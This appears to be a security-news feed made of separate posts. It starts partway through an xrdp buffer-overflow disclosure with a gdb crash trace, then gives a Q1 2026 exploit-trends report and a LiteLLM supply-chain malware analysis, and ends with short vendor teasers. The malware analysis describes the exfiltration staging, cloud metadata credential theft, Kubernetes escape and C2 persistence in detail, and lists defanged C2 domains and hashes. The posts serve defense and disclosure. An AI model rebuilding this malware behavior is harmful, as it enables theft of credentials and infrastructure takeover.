When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.

gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()

Protection against vulnerability exploitation

It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.

The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.

Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.

Vulnerability remediation timeline

• 12/05/2025: we submitted the vulnerability report via https://github.com/neutrinolabs/xrdp/security.
• 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
• 12/15/2025: investigation and prioritization of the vulnerability began.
• 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
• 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
• 01/27/2026: the patch was merged into the project’s main branch.

Conclusion

Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.

However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.

During Q1 2026, the exploit kits leveraged by threat actors to target user systems expanded once again, incorporating new exploits for the Microsoft Office platform, as well as Windows and Linux operating systems.

In this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged by popular C2 frameworks throughout Q1 2026.

Statistics on registered vulnerabilities

This section provides statistical data on registered vulnerabilities. The data is sourced from cve.org.

We examine the number of registered CVEs for each month starting from January 2022. The total volume of vulnerabilities continues rising and, according to current reports, the use of AI agents for discovering security issues is expected to further reinforce this upward trend.

Total published vulnerabilities per month from 2022 through 2026 (download)

Next, we analyze the number of new critical vulnerabilities (CVSS > 8.9) over the same period.

Total critical vulnerabilities published per month from 2022 through 2026 (download)

The graph indicates that while the volume of critical vulnerabilities slightly decreased compared to previous years, an upward trend remained clearly visible. At present, we attribute this to the fact that the end of last year was marked by the disclosure of several severe vulnerabilities in web frameworks. The current growth is driven by high-profile issues like React2Shell, the release of exploit frameworks for mobile platforms, and the uncovering of secondary vulnerabilities during the remediation of previously discovered ones. We will be able to test this hypothesis in the next quarter; if correct, the second quarter will show a significant decline, similar to the pattern observed in the previous year.

Exploitation statistics

This section presents statistics on vulnerability exploitation for Q1 2026. The data draws on open sources and our telemetry.

Windows and Linux vulnerability exploitation

In Q1 2026, threat actor toolsets were updated with exploits for new, recently registered vulnerabilities. However, we first examine the list of veteran vulnerabilities that consistently account for the largest share of detections:

• CVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component
• CVE-2017-11882: another RCE vulnerability also affecting Equation Editor
• CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system
• CVE-2023-38831: a vulnerability resulting from the improper handling of objects contained within an archive
• CVE-2025-6218: a vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution
• CVE-2025-8088: a directory traversal bypass vulnerability during file extraction utilizing NTFS Streams

Among the newcomers, we have observed exploits targeting the Microsoft Office platform and Windows OS components. Notably, these new vulnerabilities exploit logic flaws arising from the interaction between multiple systems, making them technically difficult to isolate within a specific file or library. A list of these vulnerabilities is provided below:

• CVE-2026-21509 and CVE-2026-21514: security feature bypass vulnerabilities: despite Protected View being enabled, a specially crafted file can still execute malicious code without the user’s knowledge. Malicious commands are executed on the victim’s system with the privileges of the user who opened the file.
• CVE-2026-21513: a vulnerability in the Internet Explorer MSHTML engine, which is used to open websites and render HTML markup. The vulnerability involves bypassing rules that restrict the execution of files from untrusted network sources. Interestingly, the data provider for this vulnerability was an LNK file.

These three vulnerabilities were utilized together in a single chain during attacks on Windows-based user systems. While this combination is noteworthy, we believe the widespread use of the entire chain as a unified exploit will likely decline due to its instability. We anticipate that these vulnerabilities will eventually be applied individually as initial entry vectors in phishing campaigns.

Below is the trend of exploit detections on user Windows systems starting from Q1 2025.

Dynamics of the number of Windows users encountering exploits, Q1 2025 – Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)

The vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.

On Linux devices, exploits for the following vulnerabilities were detected most frequently:

• CVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications
• CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
• CVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem
• CVE-2023-32233: a vulnerability in the Netfilter subsystem that allows for Use-After-Free conditions and privilege escalation through the improper processing of network requests

Dynamics of the number of Linux users encountering exploits, Q1 2025 – Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)

In the first quarter of 2026, we observed a decrease in the number of detected exploits; however, the detection rates are on the rise relative to the same period last year. For the Linux operating system, the installation of security patches remains critical.

Most common published exploits

The distribution of published exploits by software type in Q1 2026 features an updated set of categories; once again, we see exploits targeting operating systems and Microsoft Office suites.

Distribution of published exploits by platform, Q1 2026 (download)

Vulnerability exploitation in APT attacks

We analyzed which vulnerabilities were utilized in APT attacks during Q1 2026. The ranking provided below includes data based on our telemetry, research, and open sources.

TOP 10 vulnerabilities exploited in APT attacks, Q1 2026 (download)

In Q1 2026, threat actors continued to utilize high-profile vulnerabilities registered in the previous year for APT attacks. The hypothesis we previously proposed has been confirmed: security flaws affecting web applications remain heavily exploited in real-world attacks. However, we are also observing a partial refresh of attacker toolsets. Specifically, during the first quarter of the year, APT campaigns leveraged recently discovered vulnerabilities in Microsoft Office products, edge networking device software, and remote access management systems. Although the most recent vulnerabilities are being exploited most heavily, their general characteristics continue to reinforce established trends regarding the categories of vulnerable software. Consequently, we strongly recommend applying the security patches provided by vendors.

C2 frameworks

In this section, we examine the most popular C2 frameworks used by threat actors and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.

The chart below shows the frequency of known C2 framework usage in attacks against users during Q1 2026, according to open sources.

TOP 10 C2 frameworks used by APTs to compromise user systems, Q1 2026 (download)

Metasploit has returned to the top of the list of the most common C2 frameworks, displacing Sliver, which now shares the second position with Havoc. These are followed by Covenant and Mythic, the latter of which previously saw greater popularity. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:

• CVE-2023-46604: an insecure deserialization vulnerability allowing for arbitrary code execution within the server process context if the Apache ActiveMQ service is running
• CVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication
• CVE-2023-36884: a vulnerability in the Windows Search component that enables command execution on the system, bypassing security mechanisms built into Microsoft Office applications
• CVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server
• CVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities that allow files to be extracted from an archive to a predefined path, potentially without the archiving utility displaying any alerts to the user

The nature of the described vulnerabilities indicates that they were exploited to gain initial access to the system. Notably, the majority of these security issues are targeted to bypass authentication mechanisms. This is likely due to the fact that C2 agents are being detected effectively, prompting threat actors to reduce the probability of discovery by utilizing bypass exploits.

Notable vulnerabilities

This section highlights the most significant vulnerabilities published in Q1 2026 that have publicly available descriptions.

CVE-2026-21519: Desktop Window Manager vulnerability

At the core of this vulnerability is a Type Confusion flaw. By attempting to access a resource within the Desktop Window Manager subsystem, an attacker can achieve privilege escalation. A necessary condition for exploiting this issue is existing authorization on the system.

It is worth noting that the DWM subsystem has been under close scrutiny by threat actors for quite some time. Historically, the primary attack vector involves interacting with the NtDComposition* function set.

RegPwn (CVE-2026-21533): a system settings access control vulnerability

CVE-2026-21533 is essentially a logic vulnerability that enables privilege escalation. It stems from the improper handling of privileges within Remote Desktop Services (RDS) components. By modifying service parameters in the registry and replacing the configuration with a custom key, an attacker can elevate privileges to the SYSTEM level. This vulnerability is likely to remain a fixture in threat actor toolsets as a method for establishing persistence and gaining high-level privileges.

CVE-2026-21514: a Microsoft Office vulnerability

This vulnerability was discovered in the wild during attacks on user systems. Notably, an LNK file is used to initiate the exploitation process. CVE-2026-21514 is also a logic issue that allows for bypassing OLE technology restrictions on malicious code execution and the transmission of NetNTLM authentication requests when processing untrusted input.

Clawdbot (CVE-2026-25253): an OpenClaw vulnerability

This vulnerability in the AI agent leaks credentials (authentication tokens) when queried via the WebSocket protocol. It can lead to the compromise of the infrastructure where the agent is installed: researchers have confirmed the ability to access local system data and execute commands with elevated privileges. The danger of CVE-2026-25253 is further compounded by the fact that its exploitation has generated numerous attack scenarios, including the use of prompt injections and ClickFix techniques to install stealers on vulnerable systems.

CVE-2026-34070: LangChain framework vulnerability

LangChain is an open-source framework designed for building applications powered by large language models (LLMs). A directory traversal vulnerability allowed attackers to access arbitrary files within the infrastructure where the framework was deployed. The core of CVE-2026-34070 lies in the fact that certain functions within langchain_core/prompts/loading.py handled configuration files insecurely. This could potentially lead to the processing of files containing malicious data, which could be leveraged to execute commands and expose critical system information or other sensitive files.

CVE-2026-22812: an OpenCode vulnerability

CVE-2026-22812 is another vulnerability identified in AI-assisted coding software. By default, the OpenCode agent provided local access for launching authorized applications via an HTTP server that did not require authentication. Consequently, attackers could execute malicious commands on a vulnerable device with the privileges of the current user.

Conclusion and advice

We observe that the registration of vulnerabilities is steadily gaining momentum in Q1 2026, a trend driven by the widespread development of AI tools designed to identify security flaws across various software types. This trajectory is likely to result not only in a higher volume of registered vulnerabilities but also in an increase in exploit-driven attacks, further reinforcing the critical necessity of timely security patch deployment. Additionally, organizations must prioritize vulnerability management and implement effective defensive technologies to mitigate the risks associated with potential exploitation.

To ensure the rapid detection of threats involving exploit utilization and to prevent their escalation, it is essential to deploy a reliable security solution. Key features of such a tool include continuous infrastructure monitoring, proactive protection, and vulnerability prioritization based on real-world relevance. These mechanisms are integrated into Kaspersky Next, which also provides endpoint security and protection against cyberattacks of any complexity.

What are the next steps for security leaders in this new age of frontier AI? We answer the top 10 questions customers are asking.

The post Frontier AI and the Future of Defense: Your Top Questions Answered appeared first on Unit 42.

A significant proportion of cyberincidents are linked to supply chain attacks, and this proportion is constantly growing. Over the past year, we have seen a wide variety of methods used in such attacks, ranging from creation of malicious but seemingly legitimate open-source libraries or delayed attacks in such seemingly legitimate libraries, to the simplest yet most effective method: compromising the accounts of popular library owners to subsequently release malicious versions of their libraries. Such libraries are used by developers everywhere and are included in many solutions and services. The consequences of an attack can vary widely, ranging from delivering malware to a developer’s device to compromising an entire infrastructure if the malicious library has made its way into the code of a service or product.

This is exactly what happened in March 2026, when attackers injected malicious code into the popular Python library LiteLLM, which serves as a multifunctional gateway for a large set of AI agents. The attackers released two trojanized versions of LiteLLM that delivered malicious scripts to the victim’s system. Both versions made their way into the PyPI repository for Python. A technical analysis revealed that the attackers’ primary targets were servers storing confidential data related to AWS, Kubernetes, NPM, etc., as well as various databases (MySQL, PostgreSQL, MongoDB, etc.). In the latter case, the attackers were primarily interested in database configurations. In addition, the malware’s logic included functionality for stealing confidential data from crypto wallets and techniques for establishing a foothold in the Kubernetes cluster.

Repository compromise

The compromise affected the package distribution channel via PyPI: on March 24, 2026, malicious LiteLLM versions litellm==1.82.7 and litellm==1.82.8 were uploaded to the registry. It was specifically the package’s distribution contents that were compromised: in version 1.82.7, the malicious code was embedded in proxy_server.py, and in 1.82.8, the file litellm_init.pth was added.

Technical analysis

Both versions of the library contained the same malicious code, but its execution was implemented differently. In version 1.82.7, it was executed only when the proxy functionality was imported, while in 1.82.8, a .pth file was added that was able to execute the code every time the interpreter started.

Example of the malicious code in proxy_server.py

The malicious code in the proxy_server.py and litellm_init.pth files contained Python code encoded in Base64. After execution, the infected script saved this code alongside itself as a p.py file and immediately executed it.

The p.py script launched the main payload – another script, also encoded in Base64 – without saving it to disk. At the same time, it wrote the output of this payload to a file in the directory from which it was launched. Before being written, the output was encrypted using the AES-256-CBC algorithm with a random key generated in the code, which was saved to the session.key file. The key file was also encrypted – using a pre-initialized public RSA key.

The encrypted key and the output were combined into a tpcp.tar.gz archive and sent to the attackers’ remote server.

What exactly happened within the malicious payload whose output was sent to the C2 server? After it was launched, a recursive scan of the working directories on the victim’s system (/root, /app/, /var/www, etc.) began. In each directory, the script scanned the contents of files, which it output to the stdout buffer, from where it was then saved to the aforementioned file as the result. Next, the script collected system information and also saved it to the file. After that, it proceeded to search for sensitive data. It was interested in the following data located on servers and within the infrastructures of various services:

• SSH keys
• GIT accounts
• .env files
• AWS, Kubernetes, email service, database, and WireGuard configurations
• files related to Helm, Terraform, and CI
• TLS keys and certificates

A notable feature of this malware is that it does not limit itself to stealing files and configurations from the disk but also attempts to extract runtime secrets from the cloud infrastructure.

The code above uses the addresses 169.254.169.254 and 169.254.170.2. The first corresponds to the AWS Instance Metadata Service (IMDS), through which an EC2 instance (a virtual server in AWS, a machine running in the cloud) can retrieve metadata and temporary IAM role credentials (an AWS account with a set of permissions that a service or application can use to obtain temporary credentials for calls to the AWS API). The second is used in Amazon ECS to issue temporary credentials to a container during execution. Thus, the malicious script targets not only static secrets but also those issued by the cloud that can grant direct access to AWS resources at the time of infection.

Additionally, the script searches for crypto wallet configurations, as well as webhooks associated with Slack and Discord messengers. The latter indicates that the attackers are interested not only in infrastructure secrets and accounts, but also in communication channels within the development team.

In the next stage, the malware moves from data collection to establishing a foothold in the Kubernetes cluster infrastructure: if it has sufficient access, it configures a privileged pod (the smallest execution unit in Kubernetes, containing one or more containers) by enabling the securityContext.privileged=true option and mounts the node’s root filesystem via hostPath. This allows it to escape the container and perform actions at the node level.

Next, the malware executes another stage of infection: it saves a Base64-encoded script disguised as a legitimate system component to the Kubernetes node’s disk at the path /root/.config/sysmon/sysmon.py, and registers it via systemd. After launching, the script waits for an initial delay of 300 seconds, then begins periodically contacting the C2 node checkmarx[.]zone/raw, retrieving a link to the next payload from there. If the received value differs from the state previously saved in /tmp/.pg_state, the script downloads a new file to /tmp/pglog, makes it executable, and runs it in the background. At this stage, the attackers gain a foothold in the system and are capable of regularly delivering updated payloads without the need for re-injection. Since the malicious payload is written not to the container’s temporary file directory but directly to the Kubernetes cluster node, the attackers will retain access to the infrastructure even after the container has terminated.

A similar scenario is used for local persistence: in the absence of Kubernetes, the sysmon.py script is deployed in the user’s directory at ~/.config/sysmon/sysmon.py and is also registered as a service via systemd.

OpenVSX version of the malware

While analyzing files communicating with the C2 server, we discovered malicious versions of two common Checkmarx software extensions: ast-results 2.53.0 and cx-dev-assist 1.7.0. Checkmarx is used for application security assessment. These trojanized extensions contained malicious code that delivered the NodeJS version of the malware described above.

This version is downloaded from checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz using NodeJS package installation utilities and is named checkmarx-util. Its key difference from the Python version is that it does not attempt to elevate privileges to the Kubernetes node level and does not create a privileged pod for persistence. Instead, it implements local persistence within the current environment. This means that the NodeJS variant persists only where it is already running.

Additionally, the list of folders to search for and steal secrets from is significantly smaller in this version than in the Python variant.

Checkmarx extensions are used to scan code and infrastructure configurations, so their compromise is quite dangerous: an attacker gains access not only to project files but also to a significant portion of the development environment, tokens, and local configurations.

Victimology

While assessing the attack’s impact, we saw victims all over the world. Most infection attempts occurred in Russia, China, Brazil, the Netherlands, and UAE.

Conclusion

As the technical analysis shows, the malicious scripts found in the LiteLLM versions are dangerous not only because they steal files containing sensitive data, but also because they target multiple critical infrastructure components simultaneously: the local system, cloud runtime secrets, the Kubernetes cluster, and even cryptographic keys. Such a broad scope of data collection allows an attacker to quickly move from compromising a single system and Python environment to seizing service accounts, secrets, and entire infrastructures.

Prevention and protection

To protect against infections of this kind, we recommend using a specialized solution for monitoring open-source components. Kaspersky provides real-time data feeds on compromised packages and libraries, which can be used to secure the supply chain and protect development projects from such threats.

Home security solutions, such as Kaspersky Premium, help ensure the security of personal devices by providing multi-layered protection that prevents and neutralizes infection threats. Additionally, our solution can restore the device’s functionality in the event of a malware infection.

To protect corporate devices, we recommend using a complex solution such as Kaspersky NEXT, which allows you to build a flexible and effective security system. The products in this line provide threat visibility and real-time protection, as well as EDR and XDR capabilities for threat investigation and response.

At the time of writing, the compromised versions of LiteLLM had already been removed from PyPI and OpenVSX. If you have used them, and as a proactive response to the threat, we recommend taking the following measures on your systems and infrastructure:

• Perform a full system scan using a reliable security solution.
• Rotate all potentially compromised credentials: API keys, environment variables, SSH keys, Kubernetes service account tokens, and other secrets.
• Check hosts and clusters for signs of compromise: the presence of ~/.config/sysmon/sysmon.py files and suspicious pods in Kubernetes.
• Clear the cache and conduct an inventory of PyPI modules: check for malicious ones and roll back to clean versions.
• Check for indicators of compromise (files on the system or network signs).

Indicators of Compromise:

URLs
models[.]litellm[.]cloud
checkmarx[.]zone

Infected packages
85ED77A21B88CAE721F369FA6B7BBBA3
2E3A4412A7A487B32C5715167C755D08
0FCCC8E3A03896F45726203074AE225D

Scripts
F5560871F6002982A6A2CC0B3EE739F7
CDE4951BEE7E28AC8A29D33D34A41AE5
05BACBE163EF0393C2416CBD05E45E74

We identified remote code execution vulnerabilities in open-source AI/ML libraries published by Apple, Salesforce and NVIDIA.

The post Remote Code Execution With Modern AI/ML Formats and Libraries appeared first on Unit 42.

Unit 42 shares further updates of cybercrime group Scattered LAPSUS$ Hunters. Secure your organization this holiday season.

The post The Golden Scale: 'Tis the Season for Unwanted Gifts appeared first on Unit 42.

Click on the timecodes to jump to that part of the video (on YouTube) Slides for this webcast can be found here: https://www.blackhillsinfosec.com/wp-content/uploads/2020/09/SLIDES_OpenSourceExploitsinCloudsBigDataServices.pdf 4:18 Problem statement and exploitation timeline8:28 MapReduce and […]

The post Webcast: Open Source Exploits in the Cloud’s Big Data Services – Cloud TradeCraft appeared first on Black Hills Information Security, Inc..

Slides for this webcast can be found here: https://www.blackhillsinfosec.com/wp-content/uploads/2020/09/SLIDES_AttackTactics6ReturnofBlueTeam.pdf In this webcast we walk through the step-by-step defenses to stop the attackers in every step of the way we showed […]

The post Webcast: Attack Tactics 6! Return of the Blue Team appeared first on Black Hills Information Security, Inc..

Do your PowerShell scripts keep getting caught? Tired of dealing with EDRs & Windows Defender every time you need to pop a box?  In this one-hour webcast, we introduce a somewhat […]

The post Webcast: Endpoint Security Got You Down? No PowerShell? No Problem. appeared first on Black Hills Information Security, Inc..